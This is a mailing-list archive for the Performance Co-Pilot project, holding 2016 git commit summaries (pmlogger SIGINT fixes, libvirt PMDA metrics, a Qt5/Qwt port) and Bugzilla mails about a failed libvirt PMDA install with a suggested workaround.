X-Barracuda-Start-Time: 1475441847 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 3469 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33412 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Changes committed to git://git.pcp.io/pcp.git master Ken McDonell (4): src/libpcp/pdu.c: allow -EINTR to be returned from pduread() src/pmlogger: fix SIGINT issue qa/895 (new): exercise pmlogger SIGINT problem qa/895: small fixup Nathan Scott (3): docs: fix up some minor pmdaCache(3) formatting errors libvirt pmda: use "::" separator for compound instance names qa: fix kvm test to handle added metrics from newer kernels Marko Myllynen (1): libvirt pmda: add per-device metrics man/man3/pmdacache.3 | 8 +- qa/348 | 1 qa/895 | 101 +++++++++++++++++++++++++++ qa/895.out | 15 ++++ qa/group | 1 src/libpcp/src/pdu.c | 9 +- src/pmdas/libvirt/pmdalibvirt.python | 127 ++++++++++++++++++++++++++++++++--- src/pmlogger/src/callback.c | 8 +- src/pmlogger/src/fetch.c | 6 + src/pmlogger/src/pmlogger.c | 15 +++- 10 files changed, 267 insertions(+), 24 deletions(-) commit cd29e18bdff86f8257f7fe9efe0c3ae8bc556bf7 Author: Nathan Scott Date: Mon Oct 3 07:45:50 2016 +1100 qa: fix kvm test to handle added metrics from newer kernels commit d006dd58f08624c3ca117483a8f3088c5f67d3e6 Author: Nathan Scott Date: Mon Oct 3 07:43:57 2016 +1100 libvirt pmda: use "::" separator for compound instance names commit 276aa80cd6defc296fe3cf2d8406b611b38ab929 Author: Marko Myllynen Date: Sun Oct 2 10:43:04 2016 +1100 libvirt pmda: add per-device metrics Support per-device metrics for VCPU/block/net devices. commit af44284d79cc55f78f0f699201ddf40764ccbece Author: Nathan Scott Date: Sun Oct 2 09:20:47 2016 +1100 docs: fix up some minor pmdaCache(3) formatting errors commit b44536970f13a0238d6143307895de3baac71941 Author: Ken McDonell Date: Sat Oct 1 06:55:24 2016 +1000 qa/895: small fixup commit 5068924eae6c9f1476806ed9d877f223ae47c432 Author: Ken McDonell Date: Sat Oct 1 06:47:49 2016 +1000 qa/895 (new): exercise pmlogger SIGINT problem commit f16dcc88bbe6005a95033ba5b1d3a70d5a389796 Author: Ken McDonell Date: Sat Oct 1 06:44:12 2016 +1000 src/pmlogger: fix SIGINT issue Issue raised as https://github.com/performancecopilot/pcp/issues/116. This commit (and the earlier pduread() change in libpcp) fixes the SIGINT part of the issue ... the root trigger is fetching lots of metrics with a very short (10msec) update interval, which means there is close to a 100% guarantee that the SIGINT will interrupt a socket read() and the resulting error was not being propaged back up the call stack correctly. The mem leak part of the issue will be addressed separately. commit bd32862bf6630c604548a0859e641ea97a75fcd2 Author: Ken McDonell Date: Sat Oct 1 06:30:12 2016 +1000 src/libpcp/pdu.c: allow -EINTR to be returned from pduread() If a SIGINT is received during a socket read of a PDU, we want to propagate -EINTR back to the caller, not PM_ERR_IPC or -1, so that the caller can decide what to do. From bugzilla@redhat.com Mon Oct 3 00:06:13 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DBA067CA1 for ; Mon, 3 Oct 2016 00:06:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6BE8FAC001 for ; Sun, 2 Oct 2016 22:06:09 -0700 (PDT) X-ASG-Debug-ID: 1475471162-0bf815670f110810001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-66.servers.netregistry.net [202.124.241.66]) by cuda.sgi.com with ESMTP id MADxUPrBU4UCUBUG (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 02 Oct 2016 22:06:03 -0700 (PDT) X-Barracuda-Envelope-From: bugzilla@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.66 Received: from mx1-phx2.redhat.com ([209.132.183.26]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1bqvRs-0000Ud-KE for ; Mon, 03 Oct 2016 16:06:01 +1100 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (bugweb-03.app.bz.hst.phx2.redhat.com [10.5.117.33]) by mx1-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9355lob044348 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 3 Oct 2016 01:05:47 -0400 X-Barracuda-Registry: Level1 [redhat.com/209.132.183.26] X-Barracuda-Effective-Source-IP: mx1-phx2.redhat.com[209.132.183.26] X-Barracuda-Apparent-Source-IP: 209.132.183.26 X-Barracuda-RBL-IP: 209.132.183.26 X-Barracuda-BBL-IP: 209.132.183.26 Received: from bugweb-03.app.bz.hst.phx2.redhat.com (localhost [127.0.0.1]) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9355kgQ043798 for ; Mon, 3 Oct 2016 01:05:46 -0400 Received: (from apache@localhost) by bugweb-03.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4/Submit) id u9355kTq043797; Mon, 3 Oct 2016 01:05:46 -0400 X-Authentication-Warning: bugweb-03.app.bz.hst.phx2.redhat.com: apache set sender to bugzilla@redhat.com using -f From: bugzilla@redhat.com To: pcp@kenj.com.au Subject: [Bug 1381116] New: PCP PMDA Installation Fails Date: Mon, 03 Oct 2016 05:05:45 +0000 X-ASG-Orig-Subj: [Bug 1381116] New: PCP PMDA Installation Fails Precedence: bulk Auto-Submitted: auto-generated X-Bugzilla-Reason: CC X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Fedora X-Bugzilla-Product: Fedora X-Bugzilla-Component: pcp X-Bugzilla-Sub-Component: X-Bugzilla-Version: 24 X-Bugzilla-Keywords: X-Bugzilla-Severity: unspecified X-Bugzilla-Who: myllynen@redhat.com X-Bugzilla-Status: NEW X-Bugzilla-Priority: unspecified X-Bugzilla-Assigned-To: nathans@redhat.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: bug_id short_desc product version component assigned_to reporter qa_contact cc X-Bugzilla-Comment: public X-Bugzilla-Reporter: myllynen@redhat.com X-Loop: bugzilla@redhat.com X-BeenThere: bugzilla@redhat.com Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugzilla.redhat.com/ MIME-Version: 1.0 X-Barracuda-Connect: smtp-outgoing-66.servers.netregistry.net[202.124.241.66] X-Barracuda-Start-Time: 1475471163 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2632 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33420 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header https://bugzilla.redhat.com/show_bug.cgi?id=3D1381116 Bug ID: 1381116 Summary: PCP PMDA Installation Fails Product: Fedora Version: 24 Component: pcp Assignee: nathans@redhat.com Reporter: myllynen@redhat.com QA Contact: extras-qa@fedoraproject.org CC: brolley@redhat.com, fche@redhat.com, lberk@redhat.com, mgoodwin@redhat.com, nathans@redhat.com, pcp@kenj.com.au, scox@redhat.com Description of problem: [root@localhost libvirt]# pwd /var/lib/pcp/pmdas/libvirt [root@localhost libvirt]# ./Install You will need to choose an appropriate configuration for installation of the "libvirt" Performance Metrics Domain Agent (PMDA). collector collect performance statistics on this system monitor allow this system to monitor local and/or remote systems both collector and monitor configuration for this system Please enter c(ollector) or m(onitor) or b(oth) [b] c Updating the Performance Metrics Name Space (PMNS) ... Terminate PMDA if already installed ... Updating the PMCD control file, and notifying PMCD ... Waiting for pmcd to terminate ... Starting pmcd ... [Mon Oct 3 08:00:43] pmcd(3831) Error: OpenRequestSocket(44321, INADDR_ANY, inet) __pmBind: Address already in use [Mon Oct 3 08:00:43] pmcd(3831) Error: pmcd may already be running [Mon Oct 3 08:00:43] pmcd(3831) Error: OpenRequestSocket(44321, INADDR_ANY, ipv6) __pmBind: Address already in use [Mon Oct 3 08:00:43] pmcd(3831) Error: pmcd may already be running [Mon Oct 3 08:00:43] pmcd(3831) Error: OpenRequestSocket(0, /var/run/pcp/pmcd.socket, unix) __pmBind: Address already in use [Mon Oct 3 08:00:43] pmcd(3831) Error: pmcd may already be running [Mon Oct 3 08:00:43] pmcd(3831) Error: pmcd: can't open any request ports, exiting [Mon Oct 3 08:00:43] pmcd(3831) Error: pmcd not started due to errors! Check libvirt metrics have appeared ... 1 warnings, 1 metrics and 0 values [root@localhost libvirt]# pminfo libvirt | wc -l 1 [root@localhost libvirt]# systemctl restart pmcd [root@localhost libvirt]# pminfo libvirt | wc -l 72 [root@localhost libvirt]# getenforce=20 Permissive [root@localhost libvirt]#=20 Version-Release number of selected component (if applicable): pcp-3.11.5-1.fc24.x86_64 pcp-pmda-libvirt-3.11.5-1.fc24.x86_64 How reproducible: Always --=20 You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=3DeYXCFsW= gmj&a=3Dcc_unsubscribe= From bugzilla@redhat.com Mon Oct 3 00:36:50 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7B7007CA4 for ; Mon, 3 Oct 2016 00:36:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4EF0F8F8035 for ; Sun, 2 Oct 2016 22:36:50 -0700 (PDT) X-ASG-Debug-ID: 1475473002-0bf57b1e92d9980001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-70.servers.netregistry.net [202.124.241.70]) by cuda.sgi.com with ESMTP id Hj0gdmbBo9KA4fno (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 02 Oct 2016 22:36:44 -0700 (PDT) X-Barracuda-Envelope-From: bugzilla@redhat.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.70 Received: from mx1-phx2.redhat.com ([209.132.183.26]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1bqvvb-00048K-BG for ; Mon, 03 Oct 2016 16:36:42 +1100 Received: from bugweb-04.app.bz.hst.phx2.redhat.com (bugweb-04.app.bz.hst.phx2.redhat.com [10.5.117.34]) by mx1-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u935aVWd051608 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 3 Oct 2016 01:36:31 -0400 X-Barracuda-Registry: Level1 [redhat.com/209.132.183.26] X-Barracuda-Effective-Source-IP: mx1-phx2.redhat.com[209.132.183.26] X-Barracuda-Apparent-Source-IP: 209.132.183.26 X-Barracuda-RBL-IP: 209.132.183.26 X-Barracuda-BBL-IP: 209.132.183.26 Received: from bugweb-04.app.bz.hst.phx2.redhat.com (localhost [127.0.0.1]) by bugweb-04.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u935aV5t037834 for ; Mon, 3 Oct 2016 01:36:31 -0400 Received: (from apache@localhost) by bugweb-04.app.bz.hst.phx2.redhat.com (8.14.4/8.14.4/Submit) id u935aVCn037833; Mon, 3 Oct 2016 01:36:31 -0400 X-Authentication-Warning: bugweb-04.app.bz.hst.phx2.redhat.com: apache set sender to bugzilla@redhat.com using -f From: bugzilla@redhat.com To: pcp@kenj.com.au Subject: [Bug 1381116] PCP PMDA Installation Fails Date: Mon, 03 Oct 2016 05:36:31 +0000 X-ASG-Orig-Subj: [Bug 1381116] PCP PMDA Installation Fails Precedence: bulk Auto-Submitted: auto-generated X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Classification: Fedora X-Bugzilla-Product: Fedora X-Bugzilla-Component: pcp X-Bugzilla-Sub-Component: X-Bugzilla-Version: 24 X-Bugzilla-Keywords: X-Bugzilla-Severity: unspecified X-Bugzilla-Who: nathans@redhat.com X-Bugzilla-Status: NEW X-Bugzilla-Priority: unspecified X-Bugzilla-Assigned-To: nathans@redhat.com X-Bugzilla-Target-Milestone: --- X-Bugzilla-Changed-Fields: X-Bugzilla-Comment: public X-Bugzilla-Reporter: myllynen@redhat.com X-Loop: bugzilla@redhat.com X-BeenThere: bugzilla@redhat.com Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugzilla.redhat.com/ MIME-Version: 1.0 X-Barracuda-Connect: smtp-outgoing-70.servers.netregistry.net[202.124.241.70] X-Barracuda-Start-Time: 1475473004 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 722 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33421 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header https://bugzilla.redhat.com/show_bug.cgi?id=3D1381116 --- Comment #1 from Nathan Scott --- > [...] > How reproducible: > Always Something whacky there - no problems here, and this kind of catastrophic failure from pmdaproc.sh would be affecting everyone (and many QA tests). Marko confirmed on IRC that after setting forced_restart=3Dfalse the libvir= t PMDA Install proceeds successfully. Probably high time we made that the default= , as we've been planning to for ages - I'll get that in for the next release. --=20 You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=3DZwDJcuV= EAF&a=3Dcc_unsubscribe= From nscott@redhat.com Mon Oct 3 01:38:24 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 991B37CA4 for ; Mon, 3 Oct 2016 01:38:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6C0DD304032 for ; Sun, 2 Oct 2016 23:38:21 -0700 (PDT) X-ASG-Debug-ID: 1475476692-0bf57c7e20df450001-S8gJnT Received: from mx3-phx2.redhat.com (mx3-phx2.redhat.com [209.132.183.24]) by cuda.sgi.com with ESMTP id pG4LS6bp9DJrBYdv (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 02 Oct 2016 23:38:13 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx3-phx2.redhat.com[209.132.183.24] X-Barracuda-Apparent-Source-IP: 209.132.183.24 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx3-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id u936cCnD002044 for ; Mon, 3 Oct 2016 02:38:12 -0400 Date: Mon, 3 Oct 2016 02:38:12 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: pcp developers Message-ID: <488947336.24115.1475476692080.JavaMail.zimbra@redhat.com> In-Reply-To: <956294180.23780.1475476614348.JavaMail.zimbra@redhat.com> Subject: pcp updates: Qt5 & Qwt6.1 support MIME-Version: 1.0 X-ASG-Orig-Subj: pcp updates: Qt5 & Qwt6.1 support Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.64.48.26] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: pcp updates: Qt5 & Qwt6.1 support Thread-Index: XHC5+lbQXpJXNuUatFSCNJSH6UrudA== X-Barracuda-Connect: mx3-phx2.redhat.com[209.132.183.24] X-Barracuda-Start-Time: 1475476693 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 13407 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0713, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33422 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.50 BSF_SC0_MV0713 Custom rule MV0713 Changes committed to git://git.pcp.io/pcp.git master Nathan Scott (6): qt tools: enable use of Qt5 toolchain, headers and libraries pmchart: fix minor compilation warning pmchart: rewrite legend rendering for qwt 6.x support pmtime: fix rendering of the time sliders, no scale text pmchart: fix rendering of the time axis by hiding the canvas pmchart: resolve y-axis scaling issue for util charts .gitignore | 1 configure | 4 configure.ac | 3 qa/qt/qmc_context/qmc_context.cpp | 4 qa/qt/qmc_group/qmc_group.cpp | 8 qa/qt/qmc_indom/qmc_indom.cpp | 2 qa/qt/qmc_source/qmc_source.cpp | 10 src/libpcp_qwt/src/libpcp_qwt.pro | 38 src/libpcp_qwt/src/qwt.h | 2 src/libpcp_qwt/src/qwt_abstract_legend.cpp | 38 src/libpcp_qwt/src/qwt_abstract_legend.h | 71 + src/libpcp_qwt/src/qwt_abstract_scale.cpp | 331 +++++--- src/libpcp_qwt/src/qwt_abstract_scale.h | 57 + src/libpcp_qwt/src/qwt_abstract_scale_draw.cpp | 42 - src/libpcp_qwt/src/qwt_abstract_scale_draw.h | 16 src/libpcp_qwt/src/qwt_abstract_slider.cpp | 971 ++++++++++++++---------- src/libpcp_qwt/src/qwt_abstract_slider.h | 201 ++-- src/libpcp_qwt/src/qwt_analog_clock.cpp | 96 +- src/libpcp_qwt/src/qwt_analog_clock.h | 19 src/libpcp_qwt/src/qwt_arrow_button.cpp | 13 src/libpcp_qwt/src/qwt_clipper.cpp | 46 - src/libpcp_qwt/src/qwt_clipper.h | 5 src/libpcp_qwt/src/qwt_color_map.cpp | 175 ++-- src/libpcp_qwt/src/qwt_color_map.h | 12 src/libpcp_qwt/src/qwt_column_symbol.cpp | 8 src/libpcp_qwt/src/qwt_column_symbol.h | 2 src/libpcp_qwt/src/qwt_compass.cpp | 198 ++-- src/libpcp_qwt/src/qwt_compass.h | 34 src/libpcp_qwt/src/qwt_compass_rose.cpp | 8 src/libpcp_qwt/src/qwt_counter.cpp | 660 ++++++++++------ src/libpcp_qwt/src/qwt_counter.h | 75 + src/libpcp_qwt/src/qwt_curve_fitter.cpp | 94 +- src/libpcp_qwt/src/qwt_curve_fitter.h | 11 src/libpcp_qwt/src/qwt_dial.cpp | 1009 ++++++++----------------- src/libpcp_qwt/src/qwt_dial.h | 117 -- src/libpcp_qwt/src/qwt_dial_needle.cpp | 1 src/libpcp_qwt/src/qwt_dial_needle.h | 5 src/libpcp_qwt/src/qwt_dyngrid_layout.cpp | 206 ++--- src/libpcp_qwt/src/qwt_dyngrid_layout.h | 8 src/libpcp_qwt/src/qwt_event_pattern.cpp | 97 +- src/libpcp_qwt/src/qwt_event_pattern.h | 185 ++-- src/libpcp_qwt/src/qwt_global.h | 8 src/libpcp_qwt/src/qwt_graphic.cpp | 1009 +++++++++++++++++++++++++ src/libpcp_qwt/src/qwt_graphic.h | 176 ++++ src/libpcp_qwt/src/qwt_interval.cpp | 86 +- src/libpcp_qwt/src/qwt_interval.h | 40 src/libpcp_qwt/src/qwt_interval_symbol.cpp | 19 src/libpcp_qwt/src/qwt_interval_symbol.h | 1 src/libpcp_qwt/src/qwt_knob.cpp | 578 +++++++++----- src/libpcp_qwt/src/qwt_knob.h | 77 + src/libpcp_qwt/src/qwt_legend.cpp | 786 +++++++++++++------ src/libpcp_qwt/src/qwt_legend.h | 106 +- src/libpcp_qwt/src/qwt_legend_data.cpp | 129 +++ src/libpcp_qwt/src/qwt_legend_data.h | 87 ++ src/libpcp_qwt/src/qwt_legend_item.cpp | 407 ---------- src/libpcp_qwt/src/qwt_legend_item.h | 78 - src/libpcp_qwt/src/qwt_legend_itemmanager.h | 66 - src/libpcp_qwt/src/qwt_legend_label.cpp | 421 ++++++++++ src/libpcp_qwt/src/qwt_legend_label.h | 80 + src/libpcp_qwt/src/qwt_magnifier.cpp | 127 +-- src/libpcp_qwt/src/qwt_magnifier.h | 16 src/libpcp_qwt/src/qwt_math.cpp | 29 src/libpcp_qwt/src/qwt_math.h | 127 +-- src/libpcp_qwt/src/qwt_matrix_raster_data.cpp | 56 + src/libpcp_qwt/src/qwt_matrix_raster_data.h | 11 src/libpcp_qwt/src/qwt_null_paintdevice.cpp | 327 ++++++-- src/libpcp_qwt/src/qwt_null_paintdevice.h | 57 + src/libpcp_qwt/src/qwt_painter.cpp | 672 ++++++++++++++-- src/libpcp_qwt/src/qwt_painter.h | 58 + src/libpcp_qwt/src/qwt_painter_command.cpp | 237 +++++ src/libpcp_qwt/src/qwt_painter_command.h | 173 ++++ src/libpcp_qwt/src/qwt_panner.cpp | 99 +- src/libpcp_qwt/src/qwt_panner.h | 11 src/libpcp_qwt/src/qwt_picker.cpp | 557 ++++++++----- src/libpcp_qwt/src/qwt_picker.h | 38 src/libpcp_qwt/src/qwt_picker_machine.cpp | 194 +++- src/libpcp_qwt/src/qwt_picker_machine.h | 24 src/libpcp_qwt/src/qwt_pixel_matrix.cpp | 51 + src/libpcp_qwt/src/qwt_pixel_matrix.h | 98 ++ src/libpcp_qwt/src/qwt_plot.cpp | 779 ++++++++++++++----- src/libpcp_qwt/src/qwt_plot.h | 126 +-- src/libpcp_qwt/src/qwt_plot_axis.cpp | 253 +++--- src/libpcp_qwt/src/qwt_plot_canvas.cpp | 216 ++--- src/libpcp_qwt/src/qwt_plot_canvas.h | 30 src/libpcp_qwt/src/qwt_plot_curve.cpp | 600 ++++++++------ src/libpcp_qwt/src/qwt_plot_curve.h | 56 - src/libpcp_qwt/src/qwt_plot_dict.cpp | 39 src/libpcp_qwt/src/qwt_plot_dict.h | 8 src/libpcp_qwt/src/qwt_plot_directpainter.cpp | 78 + src/libpcp_qwt/src/qwt_plot_directpainter.h | 8 src/libpcp_qwt/src/qwt_plot_grid.cpp | 193 +++- src/libpcp_qwt/src/qwt_plot_grid.h | 15 src/libpcp_qwt/src/qwt_plot_histogram.cpp | 113 +- src/libpcp_qwt/src/qwt_plot_histogram.h | 9 src/libpcp_qwt/src/qwt_plot_intervalcurve.cpp | 125 ++- src/libpcp_qwt/src/qwt_plot_intervalcurve.h | 12 src/libpcp_qwt/src/qwt_plot_item.cpp | 414 +++++++--- src/libpcp_qwt/src/qwt_plot_item.h | 123 ++- src/libpcp_qwt/src/qwt_plot_layout.cpp | 541 +++++++++---- src/libpcp_qwt/src/qwt_plot_layout.h | 35 src/libpcp_qwt/src/qwt_plot_magnifier.cpp | 60 + src/libpcp_qwt/src/qwt_plot_magnifier.h | 7 src/libpcp_qwt/src/qwt_plot_marker.cpp | 138 +-- src/libpcp_qwt/src/qwt_plot_marker.h | 14 src/libpcp_qwt/src/qwt_plot_panner.cpp | 136 ++- src/libpcp_qwt/src/qwt_plot_panner.h | 10 src/libpcp_qwt/src/qwt_plot_picker.cpp | 57 - src/libpcp_qwt/src/qwt_plot_picker.h | 20 src/libpcp_qwt/src/qwt_plot_rasteritem.cpp | 137 ++- src/libpcp_qwt/src/qwt_plot_rasteritem.h | 24 src/libpcp_qwt/src/qwt_plot_renderer.cpp | 485 +++++++----- src/libpcp_qwt/src/qwt_plot_renderer.h | 38 src/libpcp_qwt/src/qwt_plot_rescaler.cpp | 83 +- src/libpcp_qwt/src/qwt_plot_rescaler.h | 11 src/libpcp_qwt/src/qwt_plot_scaleitem.cpp | 87 +- src/libpcp_qwt/src/qwt_plot_seriesitem.cpp | 38 src/libpcp_qwt/src/qwt_plot_seriesitem.h | 170 ---- src/libpcp_qwt/src/qwt_plot_spectrocurve.cpp | 45 - src/libpcp_qwt/src/qwt_plot_spectrocurve.h | 5 src/libpcp_qwt/src/qwt_plot_spectrogram.cpp | 99 +- src/libpcp_qwt/src/qwt_plot_spectrogram.h | 13 src/libpcp_qwt/src/qwt_plot_svgitem.cpp | 19 src/libpcp_qwt/src/qwt_plot_xml.cpp | 1 src/libpcp_qwt/src/qwt_plot_zoomer.cpp | 127 ++- src/libpcp_qwt/src/qwt_plot_zoomer.h | 68 + src/libpcp_qwt/src/qwt_point_3d.h | 20 src/libpcp_qwt/src/qwt_point_data.cpp | 307 +++++++ src/libpcp_qwt/src/qwt_point_data.h | 146 +++ src/libpcp_qwt/src/qwt_point_mapper.cpp | 717 +++++++++++++++++ src/libpcp_qwt/src/qwt_point_mapper.h | 89 ++ src/libpcp_qwt/src/qwt_point_polar.cpp | 11 src/libpcp_qwt/src/qwt_point_polar.h | 8 src/libpcp_qwt/src/qwt_raster_data.cpp | 20 src/libpcp_qwt/src/qwt_raster_data.h | 2 src/libpcp_qwt/src/qwt_round_scale_draw.cpp | 69 - src/libpcp_qwt/src/qwt_round_scale_draw.h | 16 src/libpcp_qwt/src/qwt_samples.h | 239 +++++ src/libpcp_qwt/src/qwt_sampling_thread.h | 6 src/libpcp_qwt/src/qwt_scale_div.cpp | 244 ++++-- src/libpcp_qwt/src/qwt_scale_div.h | 100 -- src/libpcp_qwt/src/qwt_scale_draw.cpp | 53 - src/libpcp_qwt/src/qwt_scale_draw.h | 5 src/libpcp_qwt/src/qwt_scale_engine.cpp | 633 +++++++++------ src/libpcp_qwt/src/qwt_scale_engine.h | 57 - src/libpcp_qwt/src/qwt_scale_map.cpp | 182 +--- src/libpcp_qwt/src/qwt_scale_map.h | 86 -- src/libpcp_qwt/src/qwt_scale_widget.cpp | 82 +- src/libpcp_qwt/src/qwt_scale_widget.h | 7 src/libpcp_qwt/src/qwt_series_data.cpp | 343 +------- src/libpcp_qwt/src/qwt_series_data.h | 349 +++----- src/libpcp_qwt/src/qwt_series_store.h | 199 ++++ src/libpcp_qwt/src/qwt_slider.cpp | 967 ++++++++++++++--------- src/libpcp_qwt/src/qwt_slider.h | 110 +- src/libpcp_qwt/src/qwt_spline.cpp | 10 src/libpcp_qwt/src/qwt_symbol.cpp | 848 +++++++++++++++++++-- src/libpcp_qwt/src/qwt_symbol.h | 118 ++ src/libpcp_qwt/src/qwt_system_clock.cpp | 72 + src/libpcp_qwt/src/qwt_system_clock.h | 2 src/libpcp_qwt/src/qwt_text.cpp | 99 +- src/libpcp_qwt/src/qwt_text.h | 21 src/libpcp_qwt/src/qwt_text_engine.cpp | 21 src/libpcp_qwt/src/qwt_text_engine.h | 10 src/libpcp_qwt/src/qwt_text_label.cpp | 42 - src/libpcp_qwt/src/qwt_text_label.h | 7 src/libpcp_qwt/src/qwt_thermo.cpp | 645 +++++++-------- src/libpcp_qwt/src/qwt_thermo.h | 124 +-- src/libpcp_qwt/src/qwt_transform.cpp | 177 ++++ src/libpcp_qwt/src/qwt_transform.h | 142 +++ src/libpcp_qwt/src/qwt_wheel.cpp | 975 +++++++++++++++++++++--- src/libpcp_qwt/src/qwt_wheel.h | 139 ++- 